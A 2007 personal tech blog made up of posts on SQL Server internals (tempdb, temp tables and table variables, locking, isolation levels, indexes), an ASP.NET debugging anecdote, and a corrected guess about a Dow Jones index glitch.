SQL Server stores data in tempdb for many activities that happen behind the scenes such as: spooling data for queries, sorting, row versioning, as well as holding temporary tables and table variables. Since this data is physically materialized on disk, tempdb becomes an obvious bottleneck forcing us to make special considerations.

Any system with heavy use should have tempdb on its own disk array, seperately from where user databases are located. Obviously you'll want to use as many spindles as possible using striping in raid 10. (raid 1 can be used for the log)

Everytime SQL Server is restarted, tempdb is recreated and it size reverts to the effective defines size, which defaults to 8MB. Since this will likely be too small for most databases, it will grow at 10% per growth creating small files that will likely be fragmented within the file system. Since processes will need to wait around for the file to grow, it is suggested that you set this to an appropriate size for your database and workload.

In order to determine what is an appropriate size you can observe the size of tempdb when the system is under load. You can then alter the SIZE parameter so that the effective defined size is more apropriate. Once this is set you won't have to worry about autogrowth until the tempdb gets full which ideally would only happen during irregular activity.

Temporary Tables, Table Variables, Table Expressions - Part 3/4

2007-05-07T21:23:00.000-04:00

Table Expressions
In addition to physical temp tables we also have logical temporary tables which are merely virtual materialization of interim sets (opposed to physical materialization in temporary tables and table variables). Table expressions which include derived tables, common table expressions (CTEs), views and inline table-values UDFs give you this capability. This article will discuss situations where you may or maynot want to utilize these table expressions.

In general, table expressions should be used in cases when you need the temporary objectly for simplification. Table expressions should also be used when you only need to access the temporary data once or a limited number of times and do not need to index the interim results. When you actually run a query with a table expression, the query optimizer actually merges the underlying query with the outer one, querying the underlying tables directly.

Other than simplification, there will be some cases where you'll want to table expressions in order to improve performance -in these cases the optimizer might generate a better plan for your query compared to other alternatives.

In terms of scope and visibility, derived tables and CTEs are available only to the current statement, while views and inline UDFs are available globally.

Temporary Tables (#Tables)
Table Variables (@Tables)
Table Expressions (CTEs)

Temporary Tables, Table Variables, Table Expressions - Part 2/4

2007-05-06T15:11:00.001-04:00

Table Variables
Many would agree that table variables are some of the least understood T-SQL elements. There are manny myths asociated with their use such as table variables being purely memory-resident (not having physical representation) and that/therefore are always preferable to temporary tables. I'd like to explain why these myths are unfounded and explain some situations where you might want to use or not use table variables.

Limitations
Unlike physical abd temporary tables there ae certain limitations placed on table variables.

you cannot make explicit indices on table variables, only PRIMARY KEY, and UNIQUE constraints (CREATE UNIQUE INDEX). In fact you can'tcreate non-unique indices.
you cannot change the structure or table definition once it is declared
you cannot issue SELECT INTO statement against a table variable( however you can use INSERT EXEC).
you cannot qualify a column name with a table variable name
in queries that modify table variables, parallel plans will not be used.

tempdb
Despite popular belief, table variables do have physical representation in tempdb, similar to temporary tables.

Scope and Visibility
The scope of table variables is very well defined, and it is the same as any other variable: the current level and within the current batch only. You cannot access a table variable within innr levels of the call stack, and not even within the other batches within the same level. The limited scope will likely be an important deciding factor when determining whether or not to use temporary tables or table variables.

Transaction Context
Unlike a temporary table, a table variable is not part of an outer transaction; rather the transaction scope is limited to the statement level in order to support statement rollback. When you modify a table variable and the statement is aborted, the paticular statement is undone. However, if the outer transaction for tht statement is undone after the statement is finished, the changes will not be undone. Table variables are pretty unique in this respect and we can use this property to our advantage. Because table variables require less locking and logging there are obvious performance benefits

Statistics
The main factor in choosing wheter or not to use table variables is that the query optimizer does not create distribution statistics or maintain accurate cardinality information. Therefore queries against the table variable, will not use an efficient plan which will obviously be a big problem when you work with larger tables. The upside to using table variables is the loss of overhead from calculating these statistics and having to deal with triggered recompilation.

In the next article I'll discuss table expressions, how they work and when you'll want to use these instead of temporary tables and table variables.

Temporary Tables (#Tables)
Table Variables (@Tables)
Table Expressions (CTEs)

Temporary Tables, Table Variables, Table Expressions - Part 1/4

2007-05-05T16:38:00.000-04:00

Temporary Tables, Table Variables, Common Table Expressions - Part 1.

In this series I'm going to clear up some of the misconceptions and confusion surrounding these tempory data structures that are commonly used to materialize data temporarily. Temporary tables, table variables are often 'abused' due to a lack of knowledge about efficient set based programming (myself included). Hopefully I can provide a better understanding of how these temporary structures behave and in which circumstances you should use each.

Local Temporay Tables
Tempory tables are manipulated in the exact same way as permanent tables, however temp tables are created in the tempdb, reguardless of your session's database context (except if they are small enough and sql server has enough free memory, in which case they will reside in the cache - but don't count on it).

Remember that tempdb's recovery mode is SIMPLE and cannot be changed, this means that all bulk operations involved with temporary are always minimally logged - there is no recovery process for tempdb. One reason to use temporary tables is to take load off of the user database when you need persistant temporary data; we can take advantage of the fact that tempdb is treated differently than user databases.

Scope and Visibility
A temporary table is owned by the creating session, and is only visible to it. The scope of the temp table is limited to the session, therefore other sessions may create temp tables using the same name. Because of this SQL Server will generate its own naming scheme for entries in system tables (ie sys.objects), and these names won't directly correlate directly with the name
you have assigned it.

Within the session, the temp table is only visible to the creating level in the call stack as well as the inner levels, not the outer levels. If you create a temp table in the outermost level, its available everywhere within the session, across batches and within the inner levels. As long as you don't close the connection, you'll have access to the temp table. This can be really useful when you want to pass information to inner levels that don't have input parameters such as triggers. when the creating level gets out of scope the temporary table is automatically destroyed. The scope and visibility of temporary tables are much different than table variables and common table expressions, and will likely influence your choice in using one of these objects over the other.

Transaction Context
Temporary tables are likely to be used in transactions and obvisously behave differently than permanent tables in terms of logging and locking. Remember again that tempdb has no recovery process, therefore there will be minimal logging which only ensure that transactions can be rolled back (but not rolled forward). Unlike, permanent tables, temporary tables can only be accessed by the creating session, therefore there will be substantionally less locking involved.

Statistics.
Unlike table variables, The query optimizer creates and maintains distribution statistics for temporary tables in order to keep track of their cardinality, similar to permanant tables. This info is used to estimate selectivity and determine optimized plans. In order to maintain accurate statistics SQL Server must recompile statistics when the recompilation threshold is reached (determining the recompilation threshold for temp tables will be a whbole different article). This propery will likely will affect your choice of temporary data structures. If you are planning on doing a table scan of your data anyway you might not need to accept the overhead involved with keeping these statistics.

Temporary Tables or Table Variables?
In order to determine which structure to use you must understand the answers t the following questions: 1. Does the optimizer need distribution statistics or accurate cardinality estimations to generate an efficint plan, and if so, What's the cost of using an inefficient plan when statistics are not available. 2. What is the cost of recompilations if you do use temporary tables?

If the table is tiny (only a couple pages) the alternatives are to either 1) Use a table variable resulting in complete svans and few or no recompilations, or 2) use a temporary table resulting in index seeks and more recompilations. The advantages of seeks versus scans may be outweighed by the disadvantages of recompiles, or vice versa. I'll talk about table variables more in my next article.

Part 1: Temporary Tables (#Tables)
Part 2: Table Variables (@Tables)
Part 3: Table Expressions (CTEs)

Prevent Data Loss when Changing Datatypes

2007-05-03T19:23:00.001-04:00

Understanding data types in SQL server is required for anyone who is concerned with their database's functionality and/or performance (pick your metric). Understanding the differences and properties of these datatypes is useful for anyone who works with the database: dba, datmodeler, or developer. The time it takes to learn about the datatypes in depth (down to the internal) is time well spent.

Choosing SMALLDATETIME over DATETIME can cause a 1s error due to rounding while choosing DATETIME over SMALLDATETIME will double the size requirements for that column (if you think 2bytes per row is trivial, you've never worked on a large db :p).

Likewise, making schema changes to production databases must be well thought out and datatypes must be understood in order to prevent data loss.

A simple way to prevent data loss is to test out your proposed schema changes in a small temp table. By turning on the STATISTICS I/O option for the session will allow you to view the I/O of the change. If no I/O is reported, you'll be assured that the change didn't touch the base data; the operation will be fast. If your change doesn't require physical access to the base data you can be reassured that you aren't losing any of your valuable (?) data.

How Online Indexing Works

2007-04-27T01:24:00.000-04:00

The default behavior of either method of rebuilding an index is that SQL Server takes an exclusive lock on the index, so it is completely unavailable while the index is being rebuilt. If the index is clustered, the entire table is unavailable; if the index is non-clustered, there is a shared lock on the table meaning no modifications can be made but other processes can SELECT from the table (But obviously they cannot take advantage of the index being rebuilt). Now this is pretty miserable in large databases since queries wont be able to take advantage of indexes resulting in our arch nemisis: table scans.

The online build works by maintaining two copies of the index simultaneously, the original (source) and the new one (target). The target is used only for writing any changes made while the rebuild is going on. All reading is done from source as well. SQL Server row-level versioning is used so anyone retrieving information from the index will be able to read consistent data.

Here are the steps involved in rebuilding a non-clustered index

A shared lock is taken on the index, which prevents any data modification queries and an Intent-Shared lock is taken on the table
The index is created with the same structures as the original and marked as write-only
The shared lock is released on the index, leaving only the Intent-Shared lock on the table.
A versioned scan is started on the original index, which means modifications made during the scan will be ignored. The scanned data is copied to the target
All subsequent modifications will write to both the source and the target. Reads will use only the source
The scan of the source and copy to the target continues while normal operations are performed.
The scan completes
A Schema-Modification-Lock (most strict lock) is taken to make the source completely unavailable
The source is dropped, metadata is updated, and the target is made to be read-write
The Schema-Modification-Lock is released.

A clustered index rebuild works exactly like a non-clustered rebuild property as long as there is no schema change (a change of index keys or uniqueness property).

For a build of a new clustered index or a rebuild of a clustered index with a schema change there are a few more differences. First, an intermediate mapping index is used to translate between the source and target physical structures. Additionally, all existing non-clustered indexes are rebuilt one at a time after a new base table ahs been built. Creating a clustered index on a heap with two non-clustered indexes involves the following steps:

Create a new write-only clustered Index
Create a new non-clustered index based on the new clustered index
Create another new non-clustered index based on the new clustered index
Drop the heap and the two original non-clustered indexes

Online Index rebuilding can be costly as the server must maintain up to 6 structures at the same time, however this is incredibly useful for removing fragmentation or re-establishing a fillfactor when the data must be available 24/7 in high availability systems.

Werner Heisenberg Bug aka Observer Effect

2007-04-26T14:39:00.000-04:00

Heisenberg Bug (c) Dan.Oscar.Mckinley. 2007

When dynamically creating a dropdown extender control form the ajaxControlToolkit, I was attempting to set the TargetControlID to be the ID of a Linkbutton.

OnPreRender:
DropDownExtender.TargetControlID = dd.Parent.Controls(2).ID

However, when this ran it told me that TargetControlID cannot be an empty string. Hmm weird, i only have some idea how the uniqueId's are generated, but i dont know how exactly or when in the page lifecycle, but I'm pretty sure it should be available by the preRender phase.

I set a break point and on this line, and in the immediate window i check the client id

?dd.Parent.Controls(2).ClientID
"GResults1_dg_ctl02_ctl13"
?dd.Parent.Controls(2).ID
"ctl13"

What the hell is going on, the ID is set, i dont know why TargetControlID is an empty string. I continue running, and the page loads fine. I refresh and it errors again. I step through this code, check the ID's, and it works again.

After a little research (aka not checking on google and going straight to a Sr. Developer) i found out that ASP.NET will only build up a control ID, when the ClientID property is referenced. This makes a lot of sense since you dont want to waste time generating ClientID's for every control: only the ones you are planning on referencing on the client side.

I changed the code to reference the ClientID, and now the ID is correctly created (although in this case i'm setting it myself)

OnPreRender:
dd.Parent.Controls(2).ID = dd.Parent.ClientID + "_lb"
DropDownExtender.TargetControlID = dd.Parent.Controls(2).ID

The interesting part here is that i couldn't actually see the bug here since my commands on in the immediate window were affecting the objects. Observing the ClientID caused the ID to be generated, making it seem like the ID should not be nothing at this point in the code. Maybe the underlying problem is that people shouldn't be programming serious apps if they dont understand what is going on under the hood. Note to self: learn more stuff.

Longhorn Beta 3 Evaluation

2007-04-26T12:15:00.001-04:00

Windows Server Code Name "Longhorn" Beta 3 Evaluation

IIS7, RODC, PowerShell, Serer Manager, NAP, Failover Clustering, etc

Why Indexed Views are Cool

2007-04-26T01:16:00.000-04:00

One of the most important benefits of Indexed Views (aka materialized views) is the ability to materialize summary aggregates of large tables. Normal views are only saved queries and do not store the results. Every time the view is referenced, the aggregation to produce the grouped results must be recomputed.

However when you create an index on the view, the aggregate data is stored in the leaf level of the index. Aggregate and reporting queries can then be processed using the indexed views without having to scan underlying large tables. Yeah, read that again, its pretty damn cool.

The first index you must build on a view is a clustered index, and because the clustered index contains all the data at its leaf level, this index actually does materialize the view. The views data is physically stored at the leaf level of the clustered index.

Because of their special nature, Indexed Views (and Indexed Computed Columns) must only contain deterministic functions (a function that returns the same result every time it is called with the same set of input values). Expressions or functions that return float or real values are not acceptable since these values are imprecise as they can be computed differently on different system architectures.

B-Trees: Difference Between Clustered and Non-Clustered Indices

2007-04-23T21:53:00.000-04:00

B-Trees
First lets be clear on what a B-Tree is, and why they are important in Database Systems. A B-Tree index provides fast access to data by searching on a key value of the index. B-Trees cluster records with similar keys. The B stands for balanced (not binary!), and balancing the tree is a core feature of the B-tree’s usefulness. The trees are managed and branches are grafted as necessary, so navigating down the tree to find a value and locate a specific record takes only a few page accesses. Because the trees are balanced, finding any record only requires (about) the same number of resources, and retrieval speed is consistent because index has the same depth throughout the tree.

In any index, whether clustered or non-clustered, the leaf level contains every key value (or combination of values for composite indices) in key sequence. The biggest difference between a clustered and non-clustered index is what else in the leaf. Below I'll explain in detail what the difference between a Clustered and Non-clustered index is:

Clustered Index
The leaf level of a clustered index contains the data pages, not just the index keys. Read that last line again. All columns of every row are in the leaf level; the data itself is part of the index. A clustered index keeps the data in a table ordered around the key. The data pages in the table are kept in a doubly linked list called a page chain (In a Heap pages are not linked together). Therefore the order of pages in the page chain, and the order of rows on the data pages, is the order of the index key or keys. When the key is found in a clustered index the data has been found, not simply pointed to.

Since the actual page chain for the data pages can only be ordered in one way, a table can only have one clustered index. It is a common misconception that clustered indexes store the data in sorted order on the disk. Sorted order simply means that the data page chain is logically in order, if the SQL Server follows the page chain it can access each row in the clustered index key order. New pages can be added simply by adjusting the links in the page chain

Non-Clustered Index
In a non-clustered index, the leaf level does not contain all the data. In addition to the key values, each inde row in the leaf level contains a bookmark that tells you where to find the data row corresponding to the key in the index. If the table is a heap (no clustered index) the non-clustered index’s bookmarks are row identifiers (RID) which is an actual row locator in the form File#.Page#.Slot#

The presence or absence of a non-clustered index does not affect how the data pages are organized; therefore you are not restricted to only having one non-clustered index per table. When you search for data using a non-clustered index the index is traversed, and then SQL server retrieves the record or records pointed to by the leaf-level indexes.

Locking in SQL Server 2005

2007-04-22T22:34:00.000-04:00

Depending on the Transaction Isolation Level set for your transaction, your queries will request various locks in order to ensure the correct consistency behaviors. I'd like to go over some of the different types of locks that may be issued as well as explain some of their differences.

Shared Locks
Shared locks are acquired automatically when data is read. Shared locks can be held on a table, page, index key, or individual row. Many processes can hold shared locks on the same data, but no process can acquire an exclusive lock on data that has a shared lock on it (unless it is the only process holding a shared lock). Normally shared locks are released as soon as the data is read, however this can be changed via query hints or depending on the isolation level

Exclusive Locks
Exclusive locks are acquired automatically when data is modified with an insert, update or delete operation. Only one process at a time can hold an exclusive lock on a particular data resource, no other locks of any kind can be acquired once an exclusive lock is held. Exclusive locks are held until the end of the transaction: this means that changed data is not available to any other process until the current transaction commits or rollsback

Update Locks
Update locks are acquired when the server executes a data modification operation but first needs to search the table to find the resource that will be modified. An update lock is not sufficient to allow you to change the data; all modifications require that the data resource being modified have an exclusive lock. An update lock acts as a serialization gate to queue future requests for the exclusive lock (many processes can hold shared locks for a resource but only one process can hold an update lock). As long as a process holds an update lock on a resource no other process can acquire an update lock or an exclusive lock for that resource; instead, another process requesting an update or exclusive lock for the same resource must wait. The process holding the update lock can convert in into an exclusive lock on the resource because the update lock prevents lock incompatibility with any other processes. Update locks can also be known as “intent-to-update-locks.” The reason this is important is because serializing access for the exclusive lock lets you avoid conversion deadlocks. Update locks are held until the end of the transaction or until they are converted into an exclusive lock.

Intent Locks
Intent locks are not a separate mode of locking; they are a qualifier to the modes mentioned above: you can have intent shared locks, intent exclusive locks, and intent update locks. Because SQL Server can acquire locks at different levels of granularity, a mechanism is required to indicate that a component of a resource is already locked.

Special Lock Modes (Schema stability locks, schema modification locks, bulk update locks)
When queries are compiled, schema stability locks prevent other processes from acquiring schema modification locks, which are taken when a table’s structure is being modified. Bulk insert locks are acquired during various bulk inserts such as BULK INSERT or by using the TABLOCK hint. Requesting this special bulk update table lock does not necessarily mean it will be granted; if other processes already hold locks on the table, or if the table has any indexes, a bulk update lock cannot be granted. If multiple connections have requested and received a bulk update lock they can perform parallel loads into the same table. Unlike exclusive locks, bulk update locks do not conflict with each other, so concurrent inserts by multiple connections is supported.

Conversion Locks
Conversion locks cannot be directed requested by SQL server but are the result of a conversion from one mode to another, in SQL Server 2005, these consist of SIX, SIU, UIX. The most common of which is the SIX, which occurs if a transaction holding a shared lock on a resource and later an IX lock is needed. The lock mode would be indicated as SIX.

Key Locks
For certain isolation levels (Read Committed, Repeatable Read, or Snapshot) SQL Server tries to lock the actual index keys accessed while processing the query. With a table that has a clustered index, the data rows are the lead level of the index, and you will see key locks acquired. If the table is a heap, you might see key locks for the non-clustered indexes and row locks for the actual data.

Key Range Locks
Additonal lock modes – called key range locks, are taken only in the Serializable isolation level for locking ranges of data. There are 9 times of key-range locks, and each as a two part name: the first part indicates the type of lock on the range of data between adjacent index keys, and the second part indicates the type of lock on the key itself. Most of which are very rare and/or transient. These types of key range locks are:

RangeS-S –Shared lock on the range between keys (shared lock on the key at the end of the range)
RangeS-U –Shared lock on the range between the keys (update lock on the key at the end of the range)
RangeIn-Null – Exclusive lock to prevent inserts on the range between keys; no lock on the keys themselves
RangeX-X – Exclsuive lock on the range between keys; exclusive lock on the key at the end of the range
RangeIn-S – Conversion: S + RangeIn-Null
RangeIn-U – Conversion: U + RangeIn-Null
RangeIn-X – Conversion: X + RangeIn-Null
RangeX-S – Conversion: RangeIn-Null + RangeS-S
RangeX-U – Conversion: RangeIn-Null + RangeS-U

Transaction Isolation Levels in SQL Server 2005

2007-04-21T21:51:00.000-04:00

If the effects of your transactions are important to you, its important to understand what problems can arise from concurrency and what steps must be taken to avoid these consistency problems. Below I've listed the various Transaction Isolation Levels available to you in SQL Server 2005

Uncommitted Read
In Uncommitted Read isolation, all the dependency/consistency problems/behaviors except lost updates can occur. Queries will read uncommitted data, and both non-repeatable reads and phantoms are possible. Uncommitted read Is implemented by allowing read operations to not take any locks, since no locks are requested, it won’t be blocked by conflicting locks and acquired by other processes. Using uncommitted reads, you trade off strongly consistent data for high concurrency of the system.

Read Committed (locking / pessimistic)
Read committed isolation ensures that an operation never reads data that another application has changed has not yet committed. With read committed (locking) if another transaction is updating data and consequently has exclusive locks on data rows, your transaction must wait for those locks to be released before you can use that data (whether or not you are reading or writing that data). Also your transaction must put share locks on the data that will be visited, however these locks can be removed as soon as the data is read rather then waiting till the end of the transaction.

Read Committed (snapshot / optimistic)
Read committed (snapshot) also ensures that an operation never reads uncommitted data, but not by forcing other processes to wait: every time a row is updated the SQL server generates a version of the changed row with its previous committed values. The data being changed is still locked but other processes can see the previous versions of the data as it was before the update operation began.

Repeatable Read
This isolation level adds to the properties of committed read by ensuring that if a transaction revists data or a query is reissued the data will not have changed. The cost of this extra safeguard is that all shared locks in a transaction must be held until completion (either COMMIT or ROLLBACK) of the transaction.

Snapshot
Snapshot is a optimistic isolation level, like read commuted (snapshot) it allows processes to read older versions of committed data if the current version is locked, the difference between snapshot and read committed (snapshot) has to do with how old the older versions have to be. Although behaviors prevented by snapshot isolation are the same as those prevented by Serializable snapshot is not truly a Serializable isolation level. With snapshot isolation it is possible to have two transactions executing simultaneously that give us a result that is not possible in serial execution
Ex/

Tranasaction 1	Transaction 2
Use pubs declare @price money begin transaction	Use pubs declare @price money begin transaction
Select @price = price From titles Where title_id = 1	Select @price = price From titles Where title_id = 2
Update titles set price = @price Where title_id = 2	Update titles set price = @price Where title_id = 1
Commit Transaction	Commit Transaction

There is no serial execution for these 2 queries wher the 2 titles won’t end up with the same price

Serializable
The Serializable isolation level adds to the properties of repeatable read by ensuring that if a query is reissued, rows will not have been added in the interim, IE phantoms will not appear. Serializable is the strongest of the pessimistic isolation levels because it prevents all the possible undesirable behaviors. The cost of the added safeguard of preventing phantoms is similar to the repeatable read, all the shared locks in the transaction must be held until completion of the transaction. In addition, enforcing the Serializable isolation level requires that you not only lock data that has been read, but also lock data that does not exist. The Serializable name comes from the fact that running multiple Serializable transactions at the same time is the equivalent of running them one at a time (serially)

Difference Between Pessimistic Concurrency and Optimistic Concurrency

2007-04-20T21:45:00.000-04:00

In Pessimistic concurrency the server acquires locks to block access to data that another process is using. Pessimistic concurrency avoids conflicts by acquiring locks on data that is being read, so no other process can modify that data, it also acquires locks on data being modified so no other processes can access that data for either reading or modifying. Readers block writers and writers block readers.

In Optimistic Concurrency the server uses row versioning to allow data readers to see the state of the data before the modifications occur. Older versions of data rows are saved so a process reading data can see the data as it was when the process started reading and not be affected by any changes being made to that data. A process that modifies data is unaffected by processes reading the data because the readier is accessing a saved version of the data rows, readers do not block writers and writers do not block readers.

Consistency Problems / Dependency Behaviors in Database Systems

2007-04-19T21:47:00.000-04:00

Since database systems must have concurrency (allowing multiple people/connections/users access to the data at the same time), certain problems arise when transactions are ran in parallel instead of serially. Each of the following are dependency/consistency problems/behaviors, and it is key to understand each of these in order to fully understand Transaction Isolation and various locking/versioning methods used to prevent these potential problems

Lost Updates:
This behavior occurs when two processes read the same data and both manipulate the data, changing its value, and then both try to update the original data to the new value. The second process might completely overwrite the first update. These behaviors should be avoided in almost all cases

Dirty Reads:
This behavior occurs when a process reads uncommitted data. If one process has changed data but not yet committed the change, another process reading the data will read it in a inconsistent state. The process updating the data has no control over whether another process can read its data before its committed, its up the to the process reading the data to decide whether or not it wants to read the data before it is committed

Non-repeatable Reads:
Also known as inconsistent analysis, a read is a non-repeatable read if a process might get different values when reading the same resource in two separate reads within the same transaction. This can happen when another process changes the data in between the reads that the first process is doing.

Phantoms:
This behavior occurs when membership in a set changes. A phantom occurs if two SELET operations using the same predicate (such as count(members) > 10)in the same transaction return a different number of rows.

ACID Properties

2007-04-18T21:46:00.000-04:00

Transaction processing guarantees the consistency and recoverability of a database ensuring that all transactions are performed as a single unit of work even in the presence of logical or physical failure. Such transactions are said to have ACID properties, here are the common definitions of these four ACID properties.

Atomicity:
Atomicity means that each transaction si treated as all or nothing, it either commits or aborts; if it commits the effects remain, if it aborts then all the effects are undone.

Consistency:
The consistency property ensures that a transaction won’t allow the system to arrive at an incorrect logical state – the data must always be logically correct. Constraints and rules are honored even in the event of system failure.

Isolation:
Isolation separates concurrent transactions from the updates of other incomplete transactions.

Durability:
After a transaction commits the effects of the transaction must persist even if system failure occurs. If a system failure occurs while a transaction is in progress the transaction is completely undone, leaving no partial effects on the data.

SQL Server & Database Systems

2007-04-18T21:41:00.000-04:00

I haven't posted to my blog for a while, but i'd like to get started again. There has yet to be any focus to this blog so i'd like to make it a bit more academic and start focusing on: Computer Science issues, database systems, and computer system design. Hopefully this will help document some of my knowledge and help someone solve some problems similar to what i encounter.

I'd like to first start talking about SQL Server 2005, and go through some Database Systems Knowledge, this will help me solidify my knowledge in these categories and hopefully open up some topics for discussion. Enjoy.

Dow Jones Computer Glitch Explained

2007-02-28T14:21:00.001-05:00

Even though the dow jones constituents are only 30 stocks, they represent some of the most heavily traded stocks in the market. Yesterday the total volume for the 30 DJIA stocks was 740million representing nearly 25% of the 2.4billion shares traded on 2/27.

The total daily average from 2006 for these stocks was 430million shares per day; yesterday there was nearly a 90% increase in the number of shares traded.

However the problem yesterday wasn't that the sheer volume of trades that overwhelmed the computer that calculates the index. I believe that there was some other problem (probably network or database access) on the computer that created a lag between the real index value and calculated index value. The lag in calculation probably began to rise slowly, Once JDIArealized that the DJIA was being incorrectly calculated they failed over to a different computer to calculate the index, this is when they 'drop' happened, the perceived effect was a 200point drop within a minute. Other index calculations at other sites correctly determined the dow jones industrial average index, so i believe this incident was isolated to DJIA's primary index machine.

I'm pretty sure they'll take measures to make sure this doesn't happen again, the psychological affect of the corrected index (perceived instant drop) probably has wide reaching effects.

Too bad they aren't using the same computers and the London Stock Exchange

Update: 4/25
In my original article I incorrectly wrote that it was NYSE's computers which had the glitch. Ray Pellecchia from NYSE contacted me to let me know that this was an incorrect assumption.
However he also mentioned that:

New York Stock Exchange does not calculate or manage the Dow Jones Industrial Average; Dow Jones does. The index issues you cited that day were at Dow Jones, not NYSE.

That same day, NYSE later experienced some system queuing due to record message traffic. We immediately addressed that problem. The fact that the two things happened on the same day led to some confusion.

Sorry for the confusion hopefully i haven't tarnished the reputation of NYSE Euronext

Full Disclosure: I am currently NYX shareholder

AJAX.ASP.NET 1.0 Released!

2007-01-23T14:02:00.001-05:00

AJAX.ASP.NET 1.0 (formally known as ATLAS) has been released today 1/23. Check out more info here. This is essential for anyone making modern day web sites in asp.net.

ASP.NET AJAX is a free framework for quickly creating a new generation of more efficient, more interactive and highly-personalized Web experiences that work across all the most popular browsers.

Go right to the download page